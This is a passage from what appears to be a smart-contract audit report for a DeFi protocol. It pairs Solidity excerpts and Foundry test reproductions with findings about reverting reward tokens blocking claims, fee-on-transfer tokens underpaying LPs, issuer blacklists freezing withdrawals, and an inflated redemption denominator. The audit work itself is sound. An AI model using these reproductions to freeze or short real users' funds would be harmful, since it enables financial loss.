    function claimBribeRewards(address[] calldata strategies) external override nonReentrant {
        uint256 count = strategies.length;
        if (count == 0) revert EmptyClaimBatch();

        for (uint256 i; i < count; ++i) {
            address strategy = strategies[i];
            if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
            Bribe(bribeFor[strategy]).claimRewards(msg.sender);
        }
```
⋯
#### Lines 501-514 — _Owner-only path can append an arbitrary deployed reward-token address to a live or killed strategy._

```
    /// @notice Registers an additional independently funded reward token on a registered Strategy's Bribe.
    /// @dev Callable only by the current owner. The Strategy may be live or killed. The reward token must be a deployed
    ///      contract and cannot be SignalCoin. The paired Bribe enforces its append-only sixteen-token registry,
    ///      duplicate rejection, and later notification rules.
    /// @param strategy Registered Strategy whose paired Bribe receives the token.
    /// @param rewardToken ERC-20 token to add to the paired Bribe's reward registry.
    function addBribeRewardToken(address strategy, address rewardToken) external onlyOwner {
        if (!isStrategyRegistered(strategy)) revert StrategyNotFound(strategy);
        if (rewardToken == address(signalCoin)) revert ForbiddenRewardToken(rewardToken);

        address bribe = bribeFor[strategy];
        Bribe(bribe).addRewardToken(rewardToken);

        emit BribeRewardTokenAdded(strategy, bribe, rewardToken);
```
### `Uploaded archive/packages/contracts/src/core/Bribe.sol` (4 locations)
#### Lines 144-156 — _Aggregate claim loops over every registered token and reverts the complete claim on a failed transfer._

```
    /// @notice Checkpoints and pays every registered reward token earned by `account` directly to that account.
    /// @dev Callable only by `account` or Resonance. The loop is bounded by `MAX_REWARD_TOKENS`. A failed transfer
    ///      reverts the complete claim; `claimReward` allows a healthy token to be claimed separately.
    /// @param account Account whose accrued raw-token rewards are checkpointed and paid; cannot be zero.
    function claimRewards(address account) external nonReentrant {
        if (account == address(0)) revert ZeroAddress();
        _requireClaimAuthorization(account);
        _updateAllRewards(account);

        uint256 count = _rewardTokens.length;
        for (uint256 i; i < count; ++i) {
            _claim(account, _rewardTokens[i]);
        }
```
⋯
#### Lines 159-170 — _Scalar claim is the separate failure-isolated path._

```
    /// @notice Checkpoints and pays one registered reward token earned by `account` directly to that account.
    /// @dev Callable only by `account` or Resonance. Leaves other tokens unchanged. A failed transfer reverts the
    ///      checkpoint and claim reset, preserving the unpaid reward.
    /// @param account Account whose reward is checkpointed and paid; cannot be zero.
    /// @param rewardToken Registered token to checkpoint and pay.
    /// @return amount Raw token units transferred, or zero when the account has no whole-unit reward.
    function claimReward(address account, address rewardToken) external nonReentrant returns (uint256 amount) {
        if (account == address(0)) revert ZeroAddress();
        _requireClaimAuthorization(account);
        _requireRewardToken(rewardToken);
        _updateReward(account, rewardToken);
        amount = _claim(account, rewardToken);
```
⋯
#### Lines 238-255 — _Registry is append-only and only checks address/code, uniqueness, and capacity._ — _The immutable Resonance-controlled registry accepts any deployed code-bearing address and appends it permanently without ERC-20 behavior validation._

```
    /// @notice Appends a reward token to this Bribe's permanent registry.
    /// @dev Callable only by Resonance. The token must be a unique, nonzero contract and the resulting registry length
    ///      cannot exceed `MAX_REWARD_TOKENS`. Registration does not fund or start a stream.
    /// @param rewardToken ERC-20 contract address to register.
    function addRewardToken(address rewardToken) external onlyResonance {
        if (rewardToken == address(0) || rewardToken.code.length == 0) revert ZeroAddress();
        if (isRewardToken[rewardToken]) revert RewardAlreadyAdded(rewardToken);
        if (_rewardTokens.length == MAX_REWARD_TOKENS) revert RewardTokenLimitReached(MAX_REWARD_TOKENS);

        isRewardToken[rewardToken] = true;
        _rewardTokens.push(rewardToken);

        emit RewardTokenAdded(rewardToken);
    }

    /// @notice Returns registered reward-token addresses in insertion order.
    /// @return tokens Copy of the append-only registry, containing at most `MAX_REWARD_TOKENS` entries.
    function rewardTokens() external view returns (address[] memory tokens) {
```
⋯
#### Lines 324-335 — _A nonzero stored reward is zeroed before `safeTransfer`, but a payout-reverting token reverts the whole transaction and therefore restores the zeroing and prior transfers._

```
    /// @dev Clears and transfers one account's checkpointed whole-unit reward using checks-effects-interactions.
    /// @param account Entitled transfer recipient.
    /// @param rewardToken Reward token to transfer.
    /// @return amount Raw token units transferred, or zero when no checkpointed reward exists.
    function _claim(address account, address rewardToken) private returns (uint256 amount) {
        amount = rewards[account][rewardToken];
        if (amount == 0) return 0;

        rewards[account][rewardToken] = 0;
        IERC20(rewardToken).safeTransfer(account, amount);

        emit RewardPaid(account, rewardToken, amount);
```
### `Uploaded archive/packages/contracts/test/minimal/BribeFlow.t.sol`
#### Lines 29-61 — _Test proves a broken registered token reverts aggregate claims while scalar claims isolate the broken token._

```
    function test_AllTokenFailureIsAtomicAndScalarClaimsIsolateABrokenToken() external {
        RevertingToken broken = new RevertingToken(18);
        bribe.addRewardToken(address(broken));
        bribe.addSignalWeight(ALICE, 1);

        uint256 healthyAmount = 10 * WEEK;
        uint256 brokenAmount = 5 * WEEK;
        _notify(reward, healthyAmount);
        broken.mint(address(this), brokenAmount);
        broken.approve(address(bribe), brokenAmount);
        bribe.notifyReward(address(broken), brokenAmount);
        vm.warp(block.timestamp + WEEK);

        broken.setBlocked(ALICE, true);
        vm.expectRevert("BLOCKED");
        bribe.claimRewards(ALICE);

        assertEq(reward.balanceOf(ALICE), 0, "the healthy transfer must roll back with the convenience claim");
        assertEq(bribe.earned(ALICE, address(reward)), healthyAmount);
        assertEq(bribe.earned(ALICE, address(broken)), brokenAmount);

        vm.prank(ALICE);
        assertEq(bribe.claimReward(ALICE, address(reward)), healthyAmount);
        assertEq(reward.balanceOf(ALICE), healthyAmount);

        vm.expectRevert("BLOCKED");
        bribe.claimReward(ALICE, address(broken));
        assertEq(bribe.earned(ALICE, address(broken)), brokenAmount);

        broken.setBlocked(ALICE, false);
        assertEq(bribe.claimReward(ALICE, address(broken)), brokenAmount);
        assertEq(broken.balanceOf(ALICE), brokenAmount);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/Resonance.t.sol`
#### Lines 415-444 — _End-to-end strategy test confirms the broken token blocks the batch and leaves healthy claims unpaid until scalar recovery._

```
    function test_BrokenTokenRevertsTheBatchWhileDirectScalarClaimsRemainAvailable() external {
        _signalDefault(ALICE, 2 ether);
        _signalTwo(ALICE, address(targetStrategy), address(coinAuction), 1, 1);

        RevertingToken broken = new RevertingToken(18);
        resonance.addBribeRewardToken(address(targetStrategy), address(broken));

        uint256 amount = targetBribe.REWARD_DURATION();
        target.mint(address(this), amount);
        target.approve(address(targetBribe), amount);
        targetBribe.notifyReward(address(target), amount);
        broken.mint(address(this), amount);
        broken.approve(address(targetBribe), amount);
        targetBribe.notifyReward(address(broken), amount);
        _mintTestCoin(address(this), amount);
        coin.approve(address(coinBribe), amount);
        coinBribe.notifyReward(address(coin), amount);
        vm.warp(block.timestamp + amount);

        broken.setBlocked(ALICE, true);
        address[] memory strategies = new address[](2);
        strategies[0] = address(coinAuction);
        strategies[1] = address(targetStrategy);
        vm.prank(ALICE);
        vm.expectRevert("BLOCKED");
        resonance.claimBribeRewards(strategies);

        assertEq(coin.balanceOf(ALICE), 0);
        assertEq(target.balanceOf(ALICE), 0);
        assertEq(coinBribe.earned(ALICE, address(coin)), amount);
```
## Description

The owner-controlled reward-token registry accepts any unique deployed contract and permanently appends it after checking only its address and code presence. `claimRewards` then checkpoints and claims every registered token atomically, so `_claim` reaching a nonzero reward for a token whose `safeTransfer` reverts rolls back payouts for healthy tokens as well. This behavior also propagates through `Resonance.claimBribeRewards`, causing a broken token in one selected Bribe to revert the outer batch. Although `claimReward` permits healthy tokens to be recovered individually, it does not restore the aggregate claim path. The registry should provide a recoverable way to disable or remove payout-incompatible tokens, or the aggregate-claim design should isolate failures so one token cannot make healthy-token payouts revert.
## Root cause

The append-only `_rewardTokens` registry admits contracts without a recoverable compatibility policy, while aggregate claims require every registered token's transfer to succeed atomically.
## Impact

A payout-incompatible registered token with a nonzero entitlement prevents beneficiaries from using `claimRewards` to receive healthy rewards from that Bribe. It can also revert `claimBribeRewards` batches containing the affected Bribe, forcing users and integrations to make separate scalar claims for unaffected tokens until the token’s transfer behavior changes or the registry entry can be remediated.

---

# Nominal outbound payouts can underpay LPs and claimants
**#303388**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol`
#### Lines 52-71 — _Permissionless pool creation only checks decimals and code length, admitting tax/rebase/blacklist tokens._ — _Admission checks only decimals(), not transfer-exactness_

```
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
        pool = hook.registerPool(
            FullRangeERC20.Config({
                creator: msg.sender,
                coin: coin,
                baseToken: base,
                owner: poolOwner,
                coinRecipient: coinRecipient,
                baseRecipient: baseRecipient
            })
        );
        bytes32 id = pool.poolId();
        poolForId[id] = address(pool);
        isPool[address(pool)] = true;
        allPools.push(address(pool));
        emit PoolCreated(coin, base, address(pool), msg.sender, poolOwner, coinRecipient, baseRecipient, id);
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (4 locations)
#### Lines 210-234 — _removeLiquidity burns full requested shares regardless of what recipient actually received_ — _Withdrawal checks gross V4 amounts, then burns the caller's shares and returns those gross amounts._

```
    /// @notice Redeems only the caller's LP shares and pays their proportional principal.
    function removeLiquidity(RemoveLiquidityParams calldata params)
        external
        nonReentrant
        returns (uint256 amount0, uint256 amount1)
    {
        PoolKey memory key =
            PoolKey(params.currency0, params.currency1, params.fee, TICK_SPACING, IHooks(address(this)));
        bytes32 id = PoolId.unwrap(key.toId());
        FullRangeERC20 token = _pool(id);
        if (!initialized[id] || params.deadline < block.timestamp || params.liquidity == 0) revert InvalidInput();
        _checkRecipient(params.to, token);
        if (params.liquidity > token.balanceOf(msg.sender)) revert InvalidInput();
        uint128 liquidityToRemove = _liquidityForShares(id, params.liquidity);
        OperationResult memory result = modifyLiquidity(
            key,
            ModifyLiquidityParams(TICK_LOWER, TICK_UPPER, -int256(uint256(liquidityToRemove)), bytes32(0)),
            params.to
        );
        if (result.amount0 < params.amount0Min || result.amount1 < params.amount1Min) revert Slippage();
        token.burn(msg.sender, params.liquidity);
        (uint256 c, uint256 b) = _unsort(token, result.amount0, result.amount1);
        emit Withdrawn(id, msg.sender, params.to, c, b, params.liquidity);
        return (result.amount0, result.amount1);
    }
```
⋯
#### Lines 248-258 — _claim() clears liability accounting before safeTransfer with no verification the beneficiary received the nominal amount._

```
    /// @notice Anyone may deliver a credit, but only to its recorded beneficiary.
    function claim(bytes32 id, address beneficiary, address token) external nonReentrant returns (uint256 amount) {
        amount = claimable[id][beneficiary][token];
        if (amount != 0) {
            claimable[id][beneficiary][token] = 0;
            poolClaimable[id][token] -= amount;
            totalClaimable[token] -= amount;
            IERC20(token).safeTransfer(beneficiary, amount);
            emit Claimed(id, beneficiary, token, amount);
        }
    }
```
⋯
#### Lines 395-404 — __settleDelta pays principal via poolManager.take without verifying recipient's realized balance_ — _Negative deltas are checked through settle, but positive deltas are paid with take without recipient balance verification._

```
    function _settleDelta(Currency currency, int256 delta, address payer, address recipient) private {
        if (delta < 0) {
            uint256 amount = uint256(-delta);
            poolManager.sync(currency);
            IERC20(Currency.unwrap(currency)).safeTransferFrom(payer, address(poolManager), amount);
            if (poolManager.settle() != amount) revert InvalidDelta();
        } else if (delta > 0) {
            poolManager.take(currency, recipient, uint256(delta));
        }
    }
```
⋯
#### Lines 406-412 — __takeFees performs the stricter balance-delta check that is absent from the principal payout path._

```
    function _takeFees(Currency currency, uint256 amount) private {
        if (amount == 0) return;
        IERC20 token = IERC20(Currency.unwrap(currency));
        uint256 beforeBalance = token.balanceOf(address(this));
        poolManager.take(currency, address(this), amount);
        if (token.balanceOf(address(this)) != beforeBalance + amount) revert InvalidDelta();
    }
```
## Description

The factory admits currencies based only on `decimals()`, so pools can use tokens whose outbound transfers do not deliver the nominal requested amount. For positive liquidity-settlement deltas, `_settleDelta` invokes `poolManager.take(currency, recipient, uint256(delta))` without confirming the recipient's balance increased by `delta`. `removeLiquidity` then applies minimum-output checks to nominal results and burns the requested LP shares, while reporting those nominal amounts. The fee path demonstrates that exact receipt can be checked, since `_takeFees` measures its own balance around `poolManager.take`. Likewise, `claim` clears the nominal claim accounting and performs `safeTransfer` without validating the beneficiary's realized balance increase, so a successful short transfer is treated as a full payout.
## Root cause

Outbound payout paths trust nominal amounts from `poolManager.take` or `safeTransfer` rather than enforcing exact-transfer assets at admission or verifying each recipient's realized balance delta before finalizing accounting.
## Impact

A fee-charging or otherwise non-exact-transfer pool asset can cause an LP to receive less principal than represented by the shares burned during withdrawal, with the event and return values overstating the delivery. The same asset behavior can underpay fee beneficiaries while consuming their recorded `claimable` credit, leaving the shortfall unrecoverable through the contract's accounting.

---

# Mutable token transfers can freeze LP exits
**#303389**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/fullrange/FullRangeFactory.sol`
#### Lines 50-57 — _Market creation checks decimals but does not enforce lasting exact-transfer behavior._

```
    /// @notice Registers one market for existing ERC20s; duplicate markets revert. Only the caller can make its first deposit.
    /// @dev Both assets must expose ERC20 decimals between zero and eighteen, inclusive.
    function create(address coin, address base, address poolOwner, address coinRecipient, address baseRecipient)
        external
        returns (FullRangeERC20 pool)
    {
        if (IERC20Metadata(coin).decimals() > 18 || IERC20Metadata(base).decimals() > 18) revert InvalidInput();
        pool = hook.registerPool(
```
### `Uploaded archive/packages/contracts/src/fullrange/FullRange.sol` (3 locations)
#### Lines 210-230 — _Withdrawals must complete the callback before burning the caller's shares._

```
    /// @notice Redeems only the caller's LP shares and pays their proportional principal.
    function removeLiquidity(RemoveLiquidityParams calldata params)
        external
        nonReentrant
        returns (uint256 amount0, uint256 amount1)
    {
        PoolKey memory key =
            PoolKey(params.currency0, params.currency1, params.fee, TICK_SPACING, IHooks(address(this)));
        bytes32 id = PoolId.unwrap(key.toId());
        FullRangeERC20 token = _pool(id);
        if (!initialized[id] || params.deadline < block.timestamp || params.liquidity == 0) revert InvalidInput();
        _checkRecipient(params.to, token);
        if (params.liquidity > token.balanceOf(msg.sender)) revert InvalidInput();
        uint128 liquidityToRemove = _liquidityForShares(id, params.liquidity);
        OperationResult memory result = modifyLiquidity(
            key,
            ModifyLiquidityParams(TICK_LOWER, TICK_UPPER, -int256(uint256(liquidityToRemove)), bytes32(0)),
            params.to
        );
        if (result.amount0 < params.amount0Min || result.amount1 < params.amount1Min) revert Slippage();
        token.burn(msg.sender, params.liquidity);
```
⋯
#### Lines 365-393 — __unlockCallback couples fee-taking with principal settlement in one atomic path shared by withdraw/collect/deposit_ — _The callback makes fee custody part of every liquidity modification and returns only after taking fees._ — _All position modifications separate fees and then settle principal and take fees through the shared callback._

```
    function _unlockCallback(bytes calldata data) internal returns (bytes memory) {
        CallbackData memory callback = abi.decode(data, (CallbackData));
        bytes32 id = PoolId.unwrap(callback.key.toId());
        FullRangeERC20 token = _pool(id);
        (BalanceDelta delta, BalanceDelta fees) = poolManager.modifyLiquidity(callback.key, callback.params, "");
        if (fees.amount0() < 0 || fees.amount1() < 0) revert InvalidDelta();
        // V4's caller delta includes accrued fees. Separate them before settling LP principal.
        int256 principal0 = int256(delta.amount0()) - int256(fees.amount0());
        int256 principal1 = int256(delta.amount1()) - int256(fees.amount1());
        if (callback.params.liquidityDelta > 0
                ? (principal0 > 0 || principal1 > 0)
                : (principal0 < 0 || principal1 < 0)) {
            revert InvalidDelta();
        }
        OperationResult memory result = OperationResult(
            uint256(principal0 < 0 ? -principal0 : principal0),
            uint256(principal1 < 0 ? -principal1 : principal1),
            uint128(fees.amount0()),
            uint128(fees.amount1())
        );
        (uint256 coinFees, uint256 baseFees) = _unsort(token, result.fees0, result.fees1);
        _credit(id, token.coin(), coinFees, token.creatorCoinRecipient());
        _credit(id, token.baseToken(), baseFees, token.creatorBaseRecipient());
        _settleDelta(callback.key.currency0, principal0, callback.sender, callback.recipient);
        _settleDelta(callback.key.currency1, principal1, callback.sender, callback.recipient);
        _takeFees(callback.key.currency0, result.fees0);
        _takeFees(callback.key.currency1, result.fees1);
        return abi.encode(result);
    }
```
⋯
#### Lines 395-412 — _Settlement requires PoolManager.settle() to equal the requested transfer and fee custody to increase by exactly the taken amount._ — __takeFees reverts the whole callback if hook balance does not increase by exactly the fee amount_

```
    function _settleDelta(Currency currency, int256 delta, address payer, address recipient) private {
        if (delta < 0) {
            uint256 amount = uint256(-delta);
            poolManager.sync(currency);
            IERC20(Currency.unwrap(currency)).safeTransferFrom(payer, address(poolManager), amount);
            if (poolManager.settle() != amount) revert InvalidDelta();
        } else if (delta > 0) {
            poolManager.take(currency, recipient, uint256(delta));
        }
    }

    function _takeFees(Currency currency, uint256 amount) private {
        if (amount == 0) return;
        IERC20 token = IERC20(Currency.unwrap(currency));
        uint256 beforeBalance = token.balanceOf(address(this));
        poolManager.take(currency, address(this), amount);
        if (token.balanceOf(address(this)) != beforeBalance + amount) revert InvalidDelta();
    }
```
### `Uploaded archive/packages/contracts/test/minimal/independent-review/IndependentReviewLiveness.t.sol` (4 locations)
#### Lines 70-96 — _Reproduction: enable a 1% fee after deposit, then withdrawal and collection revert while LP shares remain outstanding._

```
    /// Finding IR-01 (characterization): a later transfer fee on the base token blocks every principal exit.
    function test_IR01_LaterBaseTransferFeeFreezesCoinAndBasePrincipal() public {
        FeeOnTransferToken fot = new FeeOnTransferToken(18);
        _market(fot);
        (,, uint256 shares) = _deposit();
        _trade(true); // Base-in swap accrues base-token fees on the hook-owned position.

        (uint256 coinOwed, uint256 baseOwed) = pool.quoteWithdraw(uint128(shares));
        assertGt(coinOwed, 0);
        assertGt(baseOwed, 0);

        fot.setFeeBps(100); // Issuer enables a 1% transfer fee after the market is live.

        vm.prank(LP);
        vm.expectRevert(FullRange.InvalidDelta.selector);
        pool.withdraw(uint128(shares), 0, 0, LP, block.timestamp);
        vm.expectRevert(FullRange.InvalidDelta.selector);
        pool.collect();
        assertEq(pool.balanceOf(LP), shares, "LP still holds unredeemable shares");

        // The Coin leg (a standard token) is also locked because the removal pokes the base fee leg.
        uint256 coinBefore = coin.balanceOf(LP);
        fot.setFeeBps(0); // Liveness returns only when the third-party issuer reverses the change.
        vm.prank(LP);
        pool.withdraw(uint128(shares), 0, 0, LP, block.timestamp);
        assertEq(coin.balanceOf(LP) - coinBefore, coinOwed);
        _assertSupply();
```
⋯
#### Lines 71-97 — _Reproduction: fee switch after deposit freezes withdraw/collect until fee is disabled_

```
    function test_IR01_LaterBaseTransferFeeFreezesCoinAndBasePrincipal() public {
        FeeOnTransferToken fot = new FeeOnTransferToken(18);
        _market(fot);
        (,, uint256 shares) = _deposit();
        _trade(true); // Base-in swap accrues base-token fees on the hook-owned position.

        (uint256 coinOwed, uint256 baseOwed) = pool.quoteWithdraw(uint128(shares));
        assertGt(coinOwed, 0);
        assertGt(baseOwed, 0);

        fot.setFeeBps(100); // Issuer enables a 1% transfer fee after the market is live.

        vm.prank(LP);
        vm.expectRevert(FullRange.InvalidDelta.selector);
        pool.withdraw(uint128(shares), 0, 0, LP, block.timestamp);
        vm.expectRevert(FullRange.InvalidDelta.selector);
        pool.collect();
        assertEq(pool.balanceOf(LP), shares, "LP still holds unredeemable shares");

        // The Coin leg (a standard token) is also locked because the removal pokes the base fee leg.
        uint256 coinBefore = coin.balanceOf(LP);
        fot.setFeeBps(0); // Liveness returns only when the third-party issuer reverses the change.
        vm.prank(LP);
        pool.withdraw(uint128(shares), 0, 0, LP, block.timestamp);
        assertEq(coin.balanceOf(LP) - coinBefore, coinOwed);
        _assertSupply();
    }
```
⋯
#### Lines 121-155 — _Reproduction: blocking the shared hook freezes withdrawals in two markets sharing the same base token._

```
    /// A single issuer freeze of the shared hook address blocks principal exits in every market using that base.
    function test_IR01_HookBlacklistFreezesEveryMarketSharingTheBase() public {
        RevertingToken frozen = new RevertingToken(6);
        _market(frozen);
        FullRangeERC20 first = pool;
        MockERC20 firstCoin = coin;
        (,, uint256 firstShares) = _deposit();
        _trade(true);

        coin = new MockERC20("Second Coin", "SEC", 18);
        pool = FullRangeTestAPI.register(factory.create(address(coin), address(base), CONTROLLER, FUND, FUND));
        _seed();
        _fundLP();
        (,, uint256 secondShares) = _deposit();
        _trade(true);

        FullRange hook = FullRangeTestAPI.managerHook(pool);
        frozen.setBlocked(address(hook), true);

        // LP chooses an unblocked recipient; the revert comes from the fee leg delivered to the hook.
        // V4 wraps the token's BLOCKED revert for the hook-bound transfer in CustomRevert.WrappedError.
        vm.prank(LP);
        vm.expectPartialRevert(CustomRevert.WrappedError.selector);
        first.withdraw(uint128(firstShares), 0, 0, LP, block.timestamp);
        vm.prank(LP);
        vm.expectPartialRevert(CustomRevert.WrappedError.selector);
        pool.withdraw(uint128(secondShares), 0, 0, LP, block.timestamp);
        assertEq(first.balanceOf(LP), firstShares);
        assertEq(pool.balanceOf(LP), secondShares);

        frozen.setBlocked(address(hook), false);
        uint256 before = firstCoin.balanceOf(LP);
        vm.prank(LP);
        first.withdraw(uint128(firstShares), 0, 0, LP, block.timestamp);
        assertGt(firstCoin.balanceOf(LP), before);
```
⋯
#### Lines 122-156 — _Hook-address blacklist on shared base token freezes every market pairing that base_

```
    function test_IR01_HookBlacklistFreezesEveryMarketSharingTheBase() public {
        RevertingToken frozen = new RevertingToken(6);
        _market(frozen);
        FullRangeERC20 first = pool;
        MockERC20 firstCoin = coin;
        (,, uint256 firstShares) = _deposit();
        _trade(true);

        coin = new MockERC20("Second Coin", "SEC", 18);
        pool = FullRangeTestAPI.register(factory.create(address(coin), address(base), CONTROLLER, FUND, FUND));
        _seed();
        _fundLP();
        (,, uint256 secondShares) = _deposit();
        _trade(true);

        FullRange hook = FullRangeTestAPI.managerHook(pool);
        frozen.setBlocked(address(hook), true);

        // LP chooses an unblocked recipient; the revert comes from the fee leg delivered to the hook.
        // V4 wraps the token's BLOCKED revert for the hook-bound transfer in CustomRevert.WrappedError.
        vm.prank(LP);
        vm.expectPartialRevert(CustomRevert.WrappedError.selector);
        first.withdraw(uint128(firstShares), 0, 0, LP, block.timestamp);
        vm.prank(LP);
        vm.expectPartialRevert(CustomRevert.WrappedError.selector);
        pool.withdraw(uint128(secondShares), 0, 0, LP, block.timestamp);
        assertEq(first.balanceOf(LP), firstShares);
        assertEq(pool.balanceOf(LP), secondShares);

        frozen.setBlocked(address(hook), false);
        uint256 before = firstCoin.balanceOf(LP);
        vm.prank(LP);
        first.withdraw(uint128(firstShares), 0, 0, LP, block.timestamp);
        assertGt(firstCoin.balanceOf(LP), before);
    }
```
## Description

Market creation accepts tokens after checking `decimals()` only, although the settlement flow relies on transfers delivering their nominal amounts and succeeding for the hook. In `_unlockCallback`, liquidity modification settles principal and then calls `_takeFees` for each accrued fee in the same atomic callback. `_takeFees` takes fees to the hook and reverts unless its balance rises by exactly `amount`; similarly, principal settlement requires `poolManager.settle()` to return the requested amount. Therefore, a previously admitted token that later charges a transfer fee or blocks the hook causes the callback to revert when its affected fee or settlement leg is reached. Since `removeLiquidity` burns LP shares only after this callback succeeds, the failure prevents withdrawal as well as collection, and the shared hook can expose multiple markets using the token to the same condition.
## Root cause

The protocol admits assets without ensuring durable exact-transfer behavior, while making exact fee custody and settlement mandatory within the callback that executes principal exits.
## Impact

An issuer can enable a transfer fee or blacklist the hook after liquidity and fees have accrued, leaving LP shares outstanding while `withdraw` and `collect` revert. The tested behavior also freezes the other principal leg of an atomic withdrawal and can affect every market sharing the mutable token until its issuer restores compatible transfer behavior.

---

# Direct redemptions include Fund-held Coin in the payout denominator
**#303390**
- Severity: High
- Validity: Unreviewed
## Source locations
### `Uploaded archive/packages/contracts/src/core/Fund.sol` (4 locations)
#### Lines 68-78 — _burnCoin() is the only path that removes Fund-held Coin from totalSupply(), and it is never invoked from within redeem()._

```
    /// @notice Burns Coin already held by Fund, including Coin received from an Auction payment.
    /// @dev Permissionless. Burns from Fund's own balance, never from the caller, and requires Fund to hold `amount`.
    ///      No backing asset is transferred by this maintenance operation.
    /// @param amount Nonzero raw Coin amount to burn from Fund's balance.
    function burnCoin(uint256 amount) external nonReentrant {
        if (amount == 0) revert ZeroAmount();

        coin.burn(amount);

        emit CoinBurned(msg.sender, amount);
    }
```
⋯
#### Lines 80-90 — _Fund documents the redemption denominator and separately describes Fund-held Coin as destroyable maintenance inventory._

```
    /// @notice Burns Coin and returns the caller-selected pro-rata share of Fund assets.
    /// @dev The caller must hold and approve `coinAmount`. Every payout is
    ///      `floor(balanceBefore * coinAmount / effectiveSupplyBeforeBurn)` in the selected token's raw units.
    ///      One denominator includes all accrued unminted Mine emission. Balances are read before burning Coin.
    ///      Selected assets require standard, non-rebasing ERC-20 transfer and accounting semantics; fee-on-transfer,
    ///      rebasing, and shared-ledger alias tokens are unsupported. Tokens use strictly increasing numeric address
    ///      order, rejecting duplicates with one comparison per entry. Omitted tokens remain in Fund and the
    ///      redeemer permanently forfeits their share. The token array has no length cap beyond transaction gas.
    ///      Every computed payout must meet its paired minimum before Coin is collected or burned.
    ///      Periphery additionally checks actual receiver balance increases.
    ///      Any validation, burn, or transfer failure reverts the complete redemption.
```
⋯
#### Lines 96-128 — _redeem() takes effectiveTotalSupply() (gross, including Fund-held Coin) as its payout denominator without burning Fund's own Coin balance first._ — _Fund.redeem snapshots effectiveTotalSupply() without excluding Fund-held Coin balance before computing payouts._

```
    function redeem(
        uint256 coinAmount,
        address receiver,
        address[] calldata tokens,
        uint256[] calldata minimumAmounts,
        uint256 deadline
    ) external nonReentrant {
        if (block.timestamp > deadline) revert DeadlinePassed(deadline);
        if (coinAmount == 0) revert ZeroAmount();
        if (receiver == address(0) || receiver == address(this)) revert InvalidReceiver(receiver);

        uint256 tokenCount = tokens.length;
        if (tokenCount == 0) revert EmptyTokenList();
        if (tokenCount != minimumAmounts.length) revert InvalidArrayLengths();

        // Pending mining emission is economically issued even though it is minted only when the active tenure ends.
        // Include Mine's direct pending-emission view without mutating Mine.
        uint256 supplyBeforeBurn = IMine(coin.minter()).effectiveTotalSupply();
        uint256[] memory payouts = new uint256[](tokenCount);
        address previous;

        // Snapshot every selected balance before collecting and burning Coin.
        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            if (token == address(0) || token == address(coin)) revert ForbiddenToken(token);
            if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
            previous = token;
            uint256 balance = IERC20(token).balanceOf(address(this));
            payouts[i] = Math.mulDiv(balance, coinAmount, supplyBeforeBurn);
            if (payouts[i] < minimumAmounts[i]) {
                revert MinimumAmountNotMet(token, payouts[i], minimumAmounts[i]);
            }
        }
```
⋯
#### Lines 111-131 — _The denominator is snapshotted before the caller's transfer and burn; the burn removes only the caller's amount transferred into Fund._

```
        // Pending mining emission is economically issued even though it is minted only when the active tenure ends.
        // Include Mine's direct pending-emission view without mutating Mine.
        uint256 supplyBeforeBurn = IMine(coin.minter()).effectiveTotalSupply();
        uint256[] memory payouts = new uint256[](tokenCount);
        address previous;

        // Snapshot every selected balance before collecting and burning Coin.
        for (uint256 i; i < tokenCount; ++i) {
            address token = tokens[i];
            if (token == address(0) || token == address(coin)) revert ForbiddenToken(token);
            if (uint160(token) <= uint160(previous)) revert InvalidTokenOrder(previous, token);
            previous = token;
            uint256 balance = IERC20(token).balanceOf(address(this));
            payouts[i] = Math.mulDiv(balance, coinAmount, supplyBeforeBurn);
            if (payouts[i] < minimumAmounts[i]) {
                revert MinimumAmountNotMet(token, payouts[i], minimumAmounts[i]);
            }
        }

        IERC20(address(coin)).safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.burn(coinAmount);
```
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol`
#### Lines 144-162 — _Periphery's canonical wrapper burns Fund's Coin balance immediately before calling Fund.redeem(), proving the direct-call path yields a different (worse) payout._ — _The wrapper explicitly burns the pre-existing Fund Coin balance before invoking Fund.redeem, creating the inconsistent direct-versus-wrapper behavior._ — _The wrapper explicitly burns the Fund's entire Coin balance before forwarding the user's redemption, creating a materially different denominator._ — _Periphery independently burns Fund's pre-existing Coin balance before calling Fund.redeem, proving the correction is necessary but not enforced in Fund itself._

```
    /// @dev Burns Fund's existing Coin before collecting the caller's amount; backing goes directly to receiver.
    function _redeemFund(
        Launchpad.LaunchRecord memory record,
        uint256 coinAmount,
        address receiver,
        address[] calldata tokens,
        uint256[] calldata minimumAmounts,
        uint256 deadline
    ) private {
        IERC20 coin = IERC20(record.coin);
        Fund fund = Fund(record.fund);
        uint256 fundBalance = coin.balanceOf(record.fund);
        emit RedemptionStarted(msg.sender, record.fund, receiver, coinAmount);
        if (fundBalance != 0) fund.burnCoin(fundBalance);
        coin.safeTransferFrom(msg.sender, address(this), coinAmount);
        coin.forceApprove(record.fund, coinAmount);
        fund.redeem(coinAmount, receiver, tokens, minimumAmounts, deadline);
        coin.forceApprove(record.fund, 0);
    }
```
### `Uploaded archive/packages/contracts/test/minimal/independent-review/IndependentReviewLaunch.t.sol`
#### Lines 365-404 — _Repository's own test (IR-04) quantitatively demonstrates the payout shortfall for direct Fund.redeem() calls versus burn-then-redeem._ — _Test reproduces and quantifies the payout shortfall for direct Fund.redeem calls versus burn-first redemption._ — _End-to-end reproduction compares direct redemption against burn-first redemption and asserts the two formulas and resulting payouts differ._

```
/// @notice IR-04: the full-range web and agent redemption paths call Fund.redeem directly without first burning
///         Fund-held Coin, which Periphery.redeem does. The denominator then includes that Coin.
contract IndependentReviewRedemptionTest is FullRangeLaunchFixture {
    function test_IR04_DirectRedeemWithoutBurnPaysLessByFundHeldCoinShare() public {
        MockERC20 base = new MockERC20("Base", "B", 18);
        Launchpad.LaunchRecord memory r = launch(base, 1_000 ether, false);
